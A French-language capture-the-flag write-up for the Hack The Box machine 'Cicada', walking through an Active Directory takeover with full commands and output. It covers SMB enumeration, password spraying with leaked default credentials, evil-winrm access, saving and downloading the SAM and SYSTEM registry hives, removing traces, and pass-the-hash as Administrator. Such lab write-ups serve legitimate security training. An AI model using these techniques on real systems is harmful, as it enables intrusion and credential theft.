Cicada
IMPORTANT : Ce compte-rendu a été rédigé la semaine où la machine était active durant la saison, mais publié à la fin de la saison afin de ne pas impacter son déroulement conformément aux règles de la plateforme
Lien vers l’épreuve : https://app.hackthebox.com/machines/Cicada
Sommaire
Reconnaissance
nmap -T4 -A cicada.htb
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-05 10:52 CEST
Nmap scan report for cicada.htb (10.10.11.35)
Host is up (0.024s latency).
Not shown: 989 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-10-05 15:52:50Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:CICADA-DC.cicada.htb
| Not valid before: 2024-08-22T20:24:16
|_Not valid after: 2025-08-22T20:24:16
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:CICADA-DC.cicada.htb
| Not valid before: 2024-08-22T20:24:16
|_Not valid after: 2025-08-22T20:24:16
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:CICADA-DC.cicada.htb
| Not valid before: 2024-08-22T20:24:16
|_Not valid after: 2025-08-22T20:24:16
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:CICADA-DC.cicada.htb
| Not valid before: 2024-08-22T20:24:16
|_Not valid after: 2025-08-22T20:24:16
|_ssl-date: TLS randomness does not represent time
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2022 (89%)
Aggressive OS guesses: Microsoft Windows Server 2022 (89%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: CICADA-DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: 7h00m32s
| smb2-time:
| date: 2024-10-05T15:53:39
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
TRACEROUTE (using port 139/tcp)
HOP RTT ADDRESS
1 24.83 ms 10.10.14.1
2 24.78 ms cicada.htb (10.10.11.35)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 100.34 seconds
Le scan NMAP nous indique que la machine est un serveur Windows 2022, contenant des services DNS, Active Directory, ainsi qu’un service Samba (partage de fichier) sur le port 445.
Enumération du service Samba
Parcourir les dossiers
Nous commençons par vérifier si des informations sont disponibles sans authentification sur le service de partage de documents.
Nous utiliserons les commandes smbclient
proposées sur le site HackTricks.
smbclient --no-pass -L //cicada.htb/ADMIN$
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
DEV Disk
HR Disk
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
SYSVOL Disk Logon server share
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to cicada.htb failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
Cette première commande nous permet de lister les dossiers en partage. Nous tentons de nous connecter aux différents dossiers.
Si l’accès n’est pas permis pour la plupart, nous sommes néanmoins capables de nous connecter au dossier DEV
mais sans droit de regarder le contenu :
smbclient --no-pass //cicada.htb/DEV
Try "help" to get a list of possible commands.
smb: \> ls
NT_STATUS_ACCESS_DENIED listing \*
L’accès au dossier HR
nous permet en revanche de lister le contenu et de le récupérer
smbclient --no-pass //cicada.htb/HR
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Thu Mar 14 13:29:09 2024
.. D 0 Thu Mar 14 13:21:29 2024
Notice from HR.txt A 1266 Wed Aug 28 19:31:48 2024
4168447 blocks of size 4096. 337588 blocks available
smb: \> get "Notice from HR.txt"
getting file \Notice from HR.txt of size 1266 as Notice from HR.txt (12,6 KiloBytes/sec) (average 12,6 KiloBytes/sec)
La note contient des informations à destination des nouveaux employés, notamment le mot de passe par défaut de sa session.
cat "Notice from HR.txt"
Dear new hire!
[...expurgé pour brièveté...]
Your default password is: Cicada[...expurgé...]p!8
To change your password:
[...expurgé pour brièveté...]
Thank you for your attention to this matter, and once again, welcome to the Cicada Corp team!
Best regards,
Cicada Corp
Il nous faut maintenant trouver un nom d’utilisateur qui fonctionnera avec ce mot de passe.
Trouver des utilisateurs
Nous parvenons à récupérer une liste d’utilisateurs grâce à l’outil netexec
(remplaçant de crackmapexec
). Nous utilisons grep
pour filtrer les ne garder que les utilisateurs, l’outil récupérant également des noms de groupes dans l’Active Directory.
netexec smb cicada.htb -u guest -p '' --rid-brute | grep -i typeuser
SMB 10.10.11.35 445 CICADA-DC 500: CICADA\Administrator (SidTypeUser)
SMB 10.10.11.35 445 CICADA-DC 501: CICADA\Guest (SidTypeUser)
SMB 10.10.11.35 445 CICADA-DC 502: CICADA\krbtgt (SidTypeUser)
SMB 10.10.11.35 445 CICADA-DC 1000: CICADA\CICADA-DC$ (SidTypeUser)
SMB 10.10.11.35 445 CICADA-DC 1104: CICADA\john.smoulder (SidTypeUser)
SMB 10.10.11.35 445 CICADA-DC 1105: CICADA\sarah.dantelia (SidTypeUser)
SMB 10.10.11.35 445 CICADA-DC 1106: CICADA\michael.wrightson (SidTypeUser)
SMB 10.10.11.35 445 CICADA-DC 1108: CICADA\david.orelious (SidTypeUser)
SMB 10.10.11.35 445 CICADA-DC 1601: CICADA\emily.oscars (SidTypeUser)
Nous testons ensuite les paires identifiants / mot de passe :
netexec ldap cicada.htb -u users.txt -p 'Cicada[...expurgé...]p!8' --continue-on-success
SMB 10.10.11.35 445 CICADA-DC [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
LDAP 10.10.11.35 389 CICADA-DC [-] cicada.htb\john.smoulder:Cicada[...expurgé...]p!8
LDAP 10.10.11.35 389 CICADA-DC [-] cicada.htb\sarah.dantelia:Cicada[...expurgé...]p!8
LDAP 10.10.11.35 389 CICADA-DC [+] cicada.htb\michael.wrightson:Cicada[...expurgé...]p!8
LDAP 10.10.11.35 389 CICADA-DC [-] cicada.htb\david.orelious:Cicada[...expurgé...]p!8
LDAP 10.10.11.35 389 CICADA-DC [-] cicada.htb\emily.oscars:Cicada[...expurgé...]p!8
Le compte de Michael Wrightson répond positivement à la requête, indiquant que le compte n’a pas changé de mot de passe et est donc vulnérable.
Escalade horizontale
Nous tentons d’accéder aux diverses ressources avec les identifiants découverts, sans succès pour le moment :
evil-winrm -i cicada.htb -u michael.wrightson -p 'Cicada[...expurgé...]p!8'
[...expurgé pour brièveté...]
Error: An error of type WinRM::WinRMAuthorizationError happened, message is WinRM::WinRMAuthorizationError
Error: Exiting with code 1
smbclient //cicada.htb/DEV/ -U michael.wrightson
Password for [WORKGROUP\michael.wrightson]:
Try "help" to get a list of possible commands.
smb: \> ls
NT_STATUS_ACCESS_DENIED listing \*
Nous continuons donc d’énumérer l’Active Directory et observons un mot de passe écrit en clair pour un autre utilisateur David Orelious
netexec ldap cicada.htb -u michael.wrightson -p 'Cicada[...expurgé...]p!8' --users
SMB 10.10.11.35 445 CICADA-DC [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
LDAP 10.10.11.35 389 CICADA-DC [+] cicada.htb\michael.wrightson:Cicada[...expurgé...]p!8
LDAP 10.10.11.35 389 CICADA-DC [*] Enumerated 8 domain users: cicada.htb
LDAP 10.10.11.35 389 CICADA-DC -Username- -Last PW Set- -BadPW- -Description-
LDAP 10.10.11.35 389 CICADA-DC Administrator 2024-08-26 20:08:03 0 Built-in account for administering the computer/domain
LDAP 10.10.11.35 389 CICADA-DC Guest 2024-08-28 17:26:56 0 Built-in account for guest access to the computer/domain
LDAP 10.10.11.35 389 CICADA-DC krbtgt 2024-03-14 11:14:10 2 Key Distribution Center Service Account
LDAP 10.10.11.35 389 CICADA-DC john.smoulder 2024-03-14 12:17:29 7
LDAP 10.10.11.35 389 CICADA-DC sarah.dantelia 2024-03-14 12:17:29 5
LDAP 10.10.11.35 389 CICADA-DC michael.wrightson 2024-03-14 12:17:29 0
LDAP 10.10.11.35 389 CICADA-DC david.orelious 2024-03-14 12:17:29 3 Just in case I forget my password is aRt[...expurgé...]VQ!3
LDAP 10.10.11.35 389 CICADA-DC emily.oscars 2024-08-22 21:20:17 1
Il n’est toujours pas possible d’utiliser evil-winrm
avec cet utilisateur, mais nous parvenons à récupérer un script dans le dossier DEV inaccessible jusqu’à présent.
smbclient //cicada.htb/DEV/ -U david.orelious
Password for [WORKGROUP\david.orelious]:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Thu Mar 14 13:31:39 2024
.. D 0 Thu Mar 14 13:21:29 2024
Backup_script.ps1 A 601 Wed Aug 28 19:28:22 2024
4168447 blocks of size 4096. 220359 blocks available
smb: \> get Backup_script.ps1
getting file \Backup_script.ps1 of size 601 as Backup_script.ps1 (5,8 KiloBytes/sec) (average 5,8 KiloBytes/sec)
Ce script Powershell contient les identifiants d’un autre utilisateur Emily Oscars
$sourceDirectory = "C:\smb"
$destinationDirectory = "D:\Backup"
$username = "emily.oscars"
$password = ConvertTo-SecureString "Q!3@[...expurgé...]*Vt" -AsPlainText -Force
[...expurgé pour brièveté...]
Nous avons à présent un accès à la machine grâce à ces identifiants
evil-winrm -i cicada.htb -u emily.oscars -p 'Q!3@[...expurgé...]*Vt'
[...expurgé pour brièveté...]
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents> whoami
cicada\emily.oscars
Le flag utilisateur se trouve régulièrement sur le bureau de l’utilisateur, nous pouvons donc lire son contenu :
Get-Content ..\Desktop\user.txt
408c7a[...expurgé...]a23381
Exploration
En nous intéressant aux privilèges de l’utilistrice Emily, nous constatons qu’elle dispose de droits pour sauvegarder des fichiers et des dossiers.
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeBackupPrivilege Back up files and directories Enabled
SeRestorePrivilege Restore files and directories Enabled
SeShutdownPrivilege Shut down the system Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
En suivant les instructions du site HackTricks nous sommes en mesure de sauvegarder et extraire des clés de registres qui seront utiles pour récupérer les hashes de mots de passe. Nous utilisons un dossier temporaire dans le répertoire Music de l’utilisatrice afin de limiter les interactions avec les autres utilisateurs. Puis nous effaçons nos traces une fois le téléchargement effectué.
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Music\temp> reg save hklm\sam C:\Users\emily.oscars.CICADA\Music\temp\sam
The operation completed successfully.
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Music\temp> reg save hklm\system C:\Users\emily.oscars.CICADA\Music\temp\system
The operation completed successfully.
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Music\temp> download sam
Info: Downloading C:\Users\emily.oscars.CICADA\Music\temp\sam to sam
Info: Download successful!
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Music\temp> download system
Info: Downloading C:\Users\emily.oscars.CICADA\Music\temp\system to system
Info: Download successful!
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Music\temp> cd ../../Documents
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents> rm -r ../Music/temp
Escalade de privilège
Nous pouvons utiliser l’outil pypykatz
afin de récupérer les secrets récupérés à l’étape précédente. Nous obtenons ainsi les hashes de mots de passe, notamment du compte Administrator
pypykatz registry --sam sam system
WARNING:pypykatz:SECURITY hive path not supplied! Parsing SECURITY will not work
WARNING:pypykatz:SOFTWARE hive path not supplied! Parsing SOFTWARE will not work
============== SYSTEM hive secrets ==============
CurrentControlSet: ControlSet001
Boot Key: 3c2b033757a49110a9ee680b46e8d620
============== SAM hive secrets ==============
HBoot Key: a1c299e572ff8c643a857d3fdb3e5c7c10101010101010101010101010101010
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b87e7[...expurgé...]16f341:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Nous pouvons réutiliser l’outil evil-winrm
et la technique du pass-the-hash pour nous connecter à la machine en tant qu’Administrator
evil-winrm -i cicada.htb -u Administrator -H 2b87e7[...expurgé...]16f341
[...expurgé pour brièveté...]
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
cicada\administrator
Nous pouvons à présent récupérer le contenu du flag présent sur le bureau de l’administrateur
*Evil-WinRM* PS C:\Users\Administrator\Documents> Get-Content ..\Desktop\root.txt
ed552d[...expurgé...]8abab0